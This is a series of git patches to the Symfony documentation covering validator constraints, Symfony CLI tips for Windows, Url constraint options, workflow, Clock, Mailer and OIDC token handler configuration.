index fa00910e790..078a4cf9b90 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -11,6 +11,8 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\Negative`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator`
 ==========  ===================================================================
 
+.. include:: /reference/constraints/_php7-string-and-number.rst.inc
+
 Basic Usage
 -----------
 
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index e356a21d20f..593bd824c05 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -10,6 +10,8 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\NegativeOrZero`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator`
 ==========  ===================================================================
 
+.. include:: /reference/constraints/_php7-string-and-number.rst.inc
+
 Basic Usage
 -----------
 
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index 326e66e7c9b..ca0d030cb64 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -11,6 +11,8 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\Positive`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator`
 ==========  ===================================================================
 
+.. include:: /reference/constraints/_php7-string-and-number.rst.inc
+
 Basic Usage
 -----------
 
diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst
index 2d39d0d6d19..808eafd071a 100644
--- a/reference/constraints/PositiveOrZero.rst
+++ b/reference/constraints/PositiveOrZero.rst
@@ -10,6 +10,8 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\PositiveOrZero`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator`
 ==========  ===================================================================
 
+.. include:: /reference/constraints/_php7-string-and-number.rst.inc
+
 Basic Usage
 -----------
 
diff --git a/reference/constraints/_php7-string-and-number.rst.inc b/reference/constraints/_php7-string-and-number.rst.inc
new file mode 100644
index 00000000000..6da43da6378
--- /dev/null
+++ b/reference/constraints/_php7-string-and-number.rst.inc
@@ -0,0 +1,6 @@
+.. caution::
+
+    When using PHP 7.x, if the value is a string (e.g. ``1234asd``), the validator
+    will not trigger an error. In this case, you must also use the
+    :doc:`Type constraint </reference/constraints/Type>` with
+    ``numeric``, ``integer`, etc. to reject strings.

From fcef90726dc302e04e15766ba7852e4124e80a86 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Apr 2024 10:48:10 +0200
Subject: [PATCH 4628/5766] [Validator] Remove a no longer needed caution

---
 reference/constraints/GreaterThan.rst                 | 2 --
 reference/constraints/GreaterThanOrEqual.rst          | 2 --
 reference/constraints/LessThan.rst                    | 2 --
 reference/constraints/LessThanOrEqual.rst             | 2 --
 reference/constraints/Negative.rst                    | 2 --
 reference/constraints/NegativeOrZero.rst              | 2 --
 reference/constraints/Positive.rst                    | 2 --
 reference/constraints/PositiveOrZero.rst              | 2 --
 reference/constraints/_php7-string-and-number.rst.inc | 6 ------
 9 files changed, 22 deletions(-)
 delete mode 100644 reference/constraints/_php7-string-and-number.rst.inc

diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index 26477e6b12f..4f2e34bcbfa 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -12,8 +12,6 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThan`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator`
 ==========  ===================================================================
 
-.. include:: /reference/constraints/_php7-string-and-number.rst.inc
-
 Basic Usage
 -----------
 
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index cdda3d98aa5..e5a71e5f788 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -11,8 +11,6 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqu
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator`
 ==========  ===================================================================
 
-.. include:: /reference/constraints/_php7-string-and-number.rst.inc
-
 Basic Usage
 -----------
 
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index d9c2e9b7398..964bfbb3527 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -12,8 +12,6 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThan`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator`
 ==========  ===================================================================
 
-.. include:: /reference/constraints/_php7-string-and-number.rst.inc
-
 Basic Usage
 -----------
 
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 1f2fb8903dc..9420c3e4376 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -11,8 +11,6 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqual`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator`
 ==========  ===================================================================
 
-.. include:: /reference/constraints/_php7-string-and-number.rst.inc
-
 Basic Usage
 -----------
 
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
index 9087e776714..0d043ee8f6e 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -11,8 +11,6 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\Negative`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator`
 ==========  ===================================================================
 
-.. include:: /reference/constraints/_php7-string-and-number.rst.inc
-
 Basic Usage
 -----------
 
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index 868a38f9ee3..5f221950528 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -10,8 +10,6 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\NegativeOrZero`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator`
 ==========  ===================================================================
 
-.. include:: /reference/constraints/_php7-string-and-number.rst.inc
-
 Basic Usage
 -----------
 
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index e3f32c71acf..b43fdde67d8 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -11,8 +11,6 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\Positive`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator`
 ==========  ===================================================================
 
-.. include:: /reference/constraints/_php7-string-and-number.rst.inc
-
 Basic Usage
 -----------
 
diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst
index e06fef0bd42..4aa8420993c 100644
--- a/reference/constraints/PositiveOrZero.rst
+++ b/reference/constraints/PositiveOrZero.rst
@@ -10,8 +10,6 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\PositiveOrZero`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator`
 ==========  ===================================================================
 
-.. include:: /reference/constraints/_php7-string-and-number.rst.inc
-
 Basic Usage
 -----------
 
diff --git a/reference/constraints/_php7-string-and-number.rst.inc b/reference/constraints/_php7-string-and-number.rst.inc
deleted file mode 100644
index 6da43da6378..00000000000
--- a/reference/constraints/_php7-string-and-number.rst.inc
+++ /dev/null
@@ -1,6 +0,0 @@
-.. caution::
-
-    When using PHP 7.x, if the value is a string (e.g. ``1234asd``), the validator
-    will not trigger an error. In this case, you must also use the
-    :doc:`Type constraint </reference/constraints/Type>` with
-    ``numeric``, ``integer`, etc. to reject strings.

From b1789e79b09552c7d88573266051ab73a56d6c94 Mon Sep 17 00:00:00 2001
From: llupa <41073314+llupa@users.noreply.github.com>
Date: Fri, 5 Apr 2024 12:12:39 +0200
Subject: [PATCH 4629/5766] Add more hints when using Symfony CLI in Windows

---
 setup/symfony_server.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index c5608a871fb..a3b5d9e8ace 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -106,6 +106,14 @@ trust store, registers it in Firefox (this is required only for that browser)
 and creates a default certificate for ``localhost`` and ``127.0.0.1``. In other
 words, it does everything for you.
 
+.. tip::
+
+    If you are doing this in WSL (Windows Subsystem for Linux), the newly created
+    local certificate authority needs to be manually imported in Windows. The file
+    is located in ``wsl`` at ``~/.symfony5/certs/default.p12``. The easiest way to
+    do so is to run ``explorer.exe \`wslpath -w $HOME/.symfony5/certs\``` from ``wsl``
+    and double-click the ``default.p12`` file.
+
 Before browsing your local application with HTTPS instead of HTTP, restart its
 server stopping and starting it again.
 
@@ -223,6 +231,9 @@ If the proxy doesn't work as explained in the following sections, check these:
 * Some Operating Systems (e.g. macOS) don't apply by default the proxy settings
   to local hosts and domains. You may need to remove ``*.local`` and/or other
   IP addresses from that list.
+* Windows Operating System **requires** ``localhost`` instead of ``127.0.0.1``
+  when configuring the automatic proxy, otherwise you won't be able to access
+  your local domain from your browser running in Windows.
 
 Defining the Local Domain
 ~~~~~~~~~~~~~~~~~~~~~~~~~

From bb68008b4bb3877e058b485958acb9f22a77c48f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Apr 2024 09:58:09 +0200
Subject: [PATCH 4630/5766] [Validator] Add a requireTld option to Url
 constraint

---
 reference/constraints/Url.rst | 111 ++++++++++++++++++++++++++++++++++
 1 file changed, 111 insertions(+)

diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 2c3420df7c6..b3a46d5aec4 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -307,3 +307,114 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
                 ]));
             }
         }
+
+``requireTld``
+~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+.. versionadded:: 7.1
+
+    The ``requiredTld`` option was introduced in Symfony 7.1.
+
+By default, URLs like ``https://aaa`` or ``https://foobar`` are considered valid
+because they are tecnically correct according to the `URL spec`_. If you set this option
+to ``true``, the host part of the URL will have to include a TLD (top-level domain
+name): e.g. ``https://example.com`` will be valid but ``https://example`` won't.
+
+.. note::
+
+    This constraint does not validate that the given TLD value is included in
+    the `list of official top-level domains`_ (because that list is growing
+    continuously and it's hard to keep track of it).
+
+``tldMessage``
+~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This URL does not contain a TLD.``
+
+.. versionadded:: 7.1
+
+    The ``tldMessage`` option was introduced in Symfony 7.1.
+
+This message is shown if the ``requireTld`` option is set to ``true`` and the URL
+does not contain at least one TLD.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
+===============  ==============================================================
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Website.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Website
+        {
+            #[Assert\Url(
+                requireTld: true,
+                tldMessage: 'Add at least one TLD to the {{ value }} URL.',
+            )]
+            protected string $homepageUrl;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Website:
+            properties:
+                homepageUrl:
+                    - Url:
+                        requireTld: true
+                        tldMessage: Add at least one TLD to the {{ value }} URL.
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Website">
+                <property name="homepageUrl">
+                    <constraint name="Url">
+                        <option name="requireTld">true</option>
+                        <option name="tldMessage">Add at least one TLD to the {{ value }} URL.</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Website.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Website
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('homepageUrl', new Assert\Url([
+                    'requireTld' => true,
+                    'tldMessage' => 'Add at least one TLD to the {{ value }} URL.',
+                ]));
+            }
+        }
+
+.. _`URL spec`: https://datatracker.ietf.org/doc/html/rfc1738
+.. _`list of official top-level domains`: https://en.wikipedia.org/wiki/List_of_Internet_top-level_domains

From 85268b49b3bf7aa9e711a35d40047b814bc36931 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Apr 2024 17:10:00 +0200
Subject: [PATCH 4631/5766] Minor tweaks

---
 workflow.rst | 23 ++++++++++-------------
 1 file changed, 10 insertions(+), 13 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index cd2d9ebd3c5..04e8eb18ef5 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -251,10 +251,9 @@ what actions are allowed on a blog post::
 Using a multiple state marking store
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you are creating a :doc:`workflow </workflow/workflow-and-state-machine>`
-, your marking store may need to contain multiple places at the same time.
-If you are using Doctrine, the matching column definition should use the
-type ``json`` ::
+If you are creating a :doc:`workflow </workflow/workflow-and-state-machine>`,
+your marking store may need to contain multiple places at the same time. That's why,
+if you are using Doctrine, the matching column definition should use the type ``json``::
 
     // src/Entity/BlogPost.php
     namespace App\Entity;
@@ -270,21 +269,19 @@ type ``json`` ::
         #[ORM\Column]
         private int $id;
 
-        // Type declaration is not mandatory and
-        // matches the guessed value from Doctrine
-        #[ORM\Column(type: Types::JSON)] // or #[ORM\Column(type: 'json')]
+        #[ORM\Column(type: Types::JSON)]
         private array $currentPlaces;
 
         // ...
     }
 
-.. tip::
+.. caution::
 
-    You should not use the type ``simple_array`` for your marking store.
-    Inside a multiple state marking store, places are store as keys with
-    a value of one, such as ``['draft' => 1]``. If the marking store contains
-    only one place, this Doctrine type will store its value only as a string,
-    resulting in the loss of the object's current place.
+    You should not use the type ``simple_array`` for your marking store. Inside
+    a multiple state marking store, places are stored as keys with a value of one,
+    such as ``['draft' => 1]``. If the marking store contains only one place,
+    this Doctrine type will store its value only as a string, resulting in the
+    loss of the object's current place.
 
 Accessing the Workflow in a Class
 ---------------------------------

From f17331c882ab9cf9a870003929f58106bd0d14b0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Tamarelle?= <jerome@tamarelle.net>
Date: Tue, 9 Apr 2024 14:57:27 +0200
Subject: [PATCH 4632/5766] ServiceSubscriberTrait is deprecated and replaced
 by ServiceMethodsSubscriberTrait

---
 service_container/service_subscribers_locators.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 21a7ab295d2..d60b438694c 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -859,7 +859,7 @@ the following order:
 Service Subscriber Trait
 ------------------------
 
-The :class:`Symfony\\Contracts\\Service\\ServiceSubscriberTrait` provides an
+The :class:`Symfony\\Contracts\\Service\\ServiceMethodsSubscriberTrait` provides an
 implementation for :class:`Symfony\\Contracts\\Service\\ServiceSubscriberInterface`
 that looks through all methods in your class that are marked with the
 :class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` attribute. It
@@ -873,12 +873,12 @@ services based on type-hinted helper methods::
     use Psr\Log\LoggerInterface;
     use Symfony\Component\Routing\RouterInterface;
     use Symfony\Contracts\Service\Attribute\SubscribedService;
+    use Symfony\Contracts\Service\ServiceMethodsSubscriberTrait;
     use Symfony\Contracts\Service\ServiceSubscriberInterface;
-    use Symfony\Contracts\Service\ServiceSubscriberTrait;
 
     class MyService implements ServiceSubscriberInterface
     {
-        use ServiceSubscriberTrait;
+        use ServiceMethodsSubscriberTrait;
 
         public function doSomething(): void
         {
@@ -935,12 +935,12 @@ and compose your services with them::
     // src/Service/MyService.php
     namespace App\Service;
 
+    use Symfony\Contracts\Service\ServiceMethodsSubscriberTrait;
     use Symfony\Contracts\Service\ServiceSubscriberInterface;
-    use Symfony\Contracts\Service\ServiceSubscriberTrait;
 
     class MyService implements ServiceSubscriberInterface
     {
-        use ServiceSubscriberTrait, LoggerAware, RouterAware;
+        use ServiceMethodsSubscriberTrait, LoggerAware, RouterAware;
 
         public function doSomething(): void
         {
@@ -977,12 +977,12 @@ Here's an example::
     use Symfony\Component\DependencyInjection\Attribute\Target;
     use Symfony\Component\Routing\RouterInterface;
     use Symfony\Contracts\Service\Attribute\SubscribedService;
+    use Symfony\Contracts\Service\ServiceMethodsSubscriberTrait;
     use Symfony\Contracts\Service\ServiceSubscriberInterface;
-    use Symfony\Contracts\Service\ServiceSubscriberTrait;
 
     class MyService implements ServiceSubscriberInterface
     {
-        use ServiceSubscriberTrait;
+        use ServiceMethodsSubscriberTrait;
 
         public function doSomething(): void
         {

From 078d6f909bfc3e45ca119b4ed5e6d0b50079db78 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Apr 2024 12:46:19 +0200
Subject: [PATCH 4633/5766] Added the versionadded directive

---
 service_container/service_subscribers_locators.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index d60b438694c..25ebe97e7e7 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -899,6 +899,11 @@ services based on type-hinted helper methods::
         }
     }
 
+.. versionadded:: 7.1
+
+    The ``ServiceMethodsSubscriberTrait`` was introduced in Symfony 7.1.
+    In previous Symfony versions it was called ``ServiceSubscriberTrait``.
+
 This  allows you to create helper traits like RouterAware, LoggerAware, etc...
 and compose your services with them::
 

From 9bd321de567074972ce6f21cb3a92b98739e30e1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Apr 2024 17:59:15 +0200
Subject: [PATCH 4634/5766] [Clock] Document createFromTimestamp() method

---
 components/clock.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/components/clock.rst b/components/clock.rst
index 45ec484eef5..933f7310d75 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -229,6 +229,21 @@ The constructor also allows setting a timezone or custom referenced date::
     $referenceDate = new \DateTimeImmutable();
     $relativeDate = new DatePoint('+1month', reference: $referenceDate);
 
+The ``DatePoint`` class also provides a named constructor to create dates from
+timestamps::
+
+    $dateOfFirstCommitOfSymfonyProject = DatePoint::createFromTimestamp(1129645656);
+    // equivalent to:
+    // $dateOfFirstCommitOfSymfonyProject = (new \DateTimeImmutable())->setTimestamp(1129645656);
+
+    // negative timestamps (for dates before January 1, 1970) and fractional timestamps
+    // (for high precision sub-second datetimes) are also supported
+    $dateOfFirstMoonLanding = DatePoint::createFromTimestamp(-14182940);
+
+.. versionadded:: 7.1
+
+    The ``createFromTimestamp()`` method was introduced in Symfony 7.1.
+
 .. note::
 
     In addition ``DatePoint`` offers stricter return types and provides consistent

From e801d38f755a6073bedcb1e64d8aafcd21de9abf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Apr 2024 15:30:58 +0200
Subject: [PATCH 4635/5766] Minor tweak

---
 components/clock.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index 933f7310d75..cdbbdd56e6b 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -232,11 +232,11 @@ The constructor also allows setting a timezone or custom referenced date::
 The ``DatePoint`` class also provides a named constructor to create dates from
 timestamps::
 
-    $dateOfFirstCommitOfSymfonyProject = DatePoint::createFromTimestamp(1129645656);
+    $dateOfFirstCommitToSymfonyProject = DatePoint::createFromTimestamp(1129645656);
     // equivalent to:
-    // $dateOfFirstCommitOfSymfonyProject = (new \DateTimeImmutable())->setTimestamp(1129645656);
+    // $dateOfFirstCommitToSymfonyProject = (new \DateTimeImmutable())->setTimestamp(1129645656);
 
-    // negative timestamps (for dates before January 1, 1970) and fractional timestamps
+    // negative timestamps (for dates before January 1, 1970) and float timestamps
     // (for high precision sub-second datetimes) are also supported
     $dateOfFirstMoonLanding = DatePoint::createFromTimestamp(-14182940);
 

From c7c595928951be6bb6953b40410f3adb569c38da Mon Sep 17 00:00:00 2001
From: Robin Weller <robin.weller@codm.de>
Date: Thu, 11 Apr 2024 13:26:12 +0200
Subject: [PATCH 4636/5766] fixed argument order for UniqueEntity

---
 reference/constraints/UniqueEntity.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 0f089b2518b..5ae4b29e8ed 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -211,8 +211,8 @@ Consider this example:
          * @ORM\Entity
          * @UniqueEntity(
          *     fields={"host", "port"},
-         *     errorPath="port",
-         *     message="This port is already in use on that host."
+         *     message="This port is already in use on that host.",
+         *     errorPath="port"
          * )
          */
         class Service
@@ -240,8 +240,8 @@ Consider this example:
         #[ORM\Entity]
         #[UniqueEntity(
             fields: ['host', 'port'],
-            errorPath: 'port',
             message: 'This port is already in use on that host.',
+            errorPath: 'port',
         )]
         class Service
         {
@@ -259,8 +259,8 @@ Consider this example:
             constraints:
                 - Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity:
                     fields: [host, port]
-                    errorPath: port
                     message: 'This port is already in use on that host.'
+                    errorPath: port
 
     .. code-block:: xml
 
@@ -276,8 +276,8 @@ Consider this example:
                         <value>host</value>
                         <value>port</value>
                     </option>
-                    <option name="errorPath">port</option>
                     <option name="message">This port is already in use on that host.</option>
+                    <option name="errorPath">port</option>
                 </constraint>
             </class>
 
@@ -300,8 +300,8 @@ Consider this example:
             {
                 $metadata->addConstraint(new UniqueEntity([
                     'fields' => ['host', 'port'],
-                    'errorPath' => 'port',
                     'message' => 'This port is already in use on that host.',
+                    'errorPath' => 'port',
                 ]));
             }
         }

From f9c53b97e032e7c78c6f02d5e333d1b2702bbb35 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 11 Apr 2024 11:18:33 +0200
Subject: [PATCH 4637/5766] [Mailer] Add the `allowed_recipients` option

---
 mailer.rst | 69 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 69 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index f32f0ff0cfc..2ce97859b11 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1852,6 +1852,75 @@ a specific address, instead of the *real* address:
             ;
         };
 
+You may also go even further by restricting the recipient to a specific
+address, except for some specific ones. This can be done by using the
+``allowed_recipients`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        when@dev:
+            framework:
+                mailer:
+                    envelope:
+                        recipients: ['youremail@example.com']
+                        allowed_recipients:
+                            - 'interal@example.com'
+                            # you can also use regular expression to define allowed recipients
+                            - 'internal-.*@example.(com|fr)'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- ... -->
+            <framework:config>
+                <framework:mailer>
+                    <framework:envelope>
+                        <framework:recipient>youremail@example.com</framework:recipient>
+                        <framework:allowed-recipient>internal@example.com</framework:allowed-recipient>
+                        <!-- you can also use regular expression to define allowed recipients -->
+                        <framework:allowed-recipient>internal-.*@example.(com|fr)</framework:allowed-recipient>
+                    </framework:envelope>
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            // ...
+            $framework->mailer()
+                ->envelope()
+                    ->recipients(['youremail@example.com'])
+                    ->allowedRecipients([
+                        'internal@example.com',
+                        // you can also use regular expression to define allowed recipients
+                        'internal-.*@example.(com|fr)',
+                    ])
+            ;
+        };
+
+With this configuration, all emails will be sent to ``youremail@example.com``,
+except for those sent to ``internal@example.com``, which will receive emails as
+usual.
+
+.. versionadded:: 7.1
+
+    The ``allowed_recipients`` option was introduced in Symfony 7.1.
+
 Write a Functional Test
 ~~~~~~~~~~~~~~~~~~~~~~~
 

From c9b92b340798d448cc118ff650325f8d03e051fa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Apr 2024 17:17:52 +0200
Subject: [PATCH 4638/5766] [FrameworkBundle] Update the enabled_locales
 description

---
 reference/configuration/framework.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 25edfe52910..d9299fc4e0f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -428,9 +428,11 @@ performance a bit:
             $framework->enabledLocales(['en', 'es']);
         };
 
-If some user makes requests with a locale not included in this option, the
-application won't display any error because Symfony will display contents using
-the fallback locale.
+An added bonus of defining the enabled locales is that they are automatically
+added as a requirement of the :ref:`special _locale parameter <routing-locale-parameter>`.
+For example, if you define this value as ``['ar', 'he', 'ja', 'zh']``, the
+``_locale`` routing parameter will have an ``ar|he|ja|zh`` requirement. If some
+user makes requests with a locale not included in this option, they'll see an error.
 
 set_content_language_from_locale
 ................................

From 304e413217bbe5f3ec78218c7f203486d0eb1dd1 Mon Sep 17 00:00:00 2001
From: Mathieu Capdeville <mathieu.capdeville@sensiolabs.com>
Date: Thu, 11 Apr 2024 17:25:39 +0200
Subject: [PATCH 4639/5766] [Workflow] Update code block according to its
 implementation

---
 workflow.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 04e8eb18ef5..f3f04b3feea 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -864,12 +864,18 @@ the
 
     final class BlogPostMarkingStore implements MarkingStoreInterface
     {
-        public function getMarking(BlogPost $subject): Marking
+        /**
+         * @param BlogPost $subject
+         */
+        public function getMarking(object $subject): Marking
         {
             return new Marking([$subject->getCurrentPlace() => 1]);
         }
 
-        public function setMarking(BlogPost $subject, Marking $marking): void
+        /**
+         * @param BlogPost $subject
+         */
+        public function setMarking(object $subject, Marking $marking, array $context = []): void
         {
             $marking = key($marking->getPlaces());
             $subject->setCurrentPlace($marking);

From f79518512854c71097b15784caf4fd674a6419c7 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Thu, 11 Apr 2024 19:28:08 +0200
Subject: [PATCH 4640/5766] Update OidcTokenHandler dependencies and
 configuration

This commit replaces the individual jwt packages previously needed by 'OidcTokenHandler' with the `web-token/jwt-library`. Configuration changes have been made to support multiple signing algorithms and a keyset instead of a single key. These changes provide more flexibility and reliability for token handling and verification.
---
 security/access_token.rst | 35 ++++++++++++++++++-----------------
 1 file changed, 18 insertions(+), 17 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 5057e243c25..593c6404c7a 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -537,15 +537,12 @@ claims. To create your own user object from the claims, you must
 2) Configure the OidcTokenHandler
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``OidcTokenHandler`` requires ``web-token/jwt-signature``,
-``web-token/jwt-checker`` and ``web-token/jwt-signature-algorithm-ecdsa``
-packages. If you haven't installed them yet, run these commands:
+The ``OidcTokenHandler`` requires the package ``web-token/jwt-library``.
+If you haven't installed it yet, run this command:
 
 .. code-block:: terminal
 
-    $ composer require web-token/jwt-signature
-    $ composer require web-token/jwt-checker
-    $ composer require web-token/jwt-signature-algorithm-ecdsa
+    $ composer require web-token/jwt-library
 
 Symfony provides a generic ``OidcTokenHandler`` to decode your token, validate
 it and retrieve the user info from it:
@@ -561,10 +558,10 @@ it and retrieve the user info from it:
                     access_token:
                         token_handler:
                             oidc:
-                                # Algorithm used to sign the JWS
-                                algorithm: 'ES256'
+                                # Algorithms used to sign the JWS
+                                algorithms: ['ES256', 'RS256']
                                 # A JSON-encoded JWK
-                                key: '{"kty":"...","k":"..."}'
+                                keyset: '{"keys":[{"kty":"...","k":"..."}]}'
                                 # Audience (`aud` claim): required for validation purpose
                                 audience: 'api-example'
                                 # Issuers (`iss` claim): required for validation purpose
@@ -589,8 +586,10 @@ it and retrieve the user info from it:
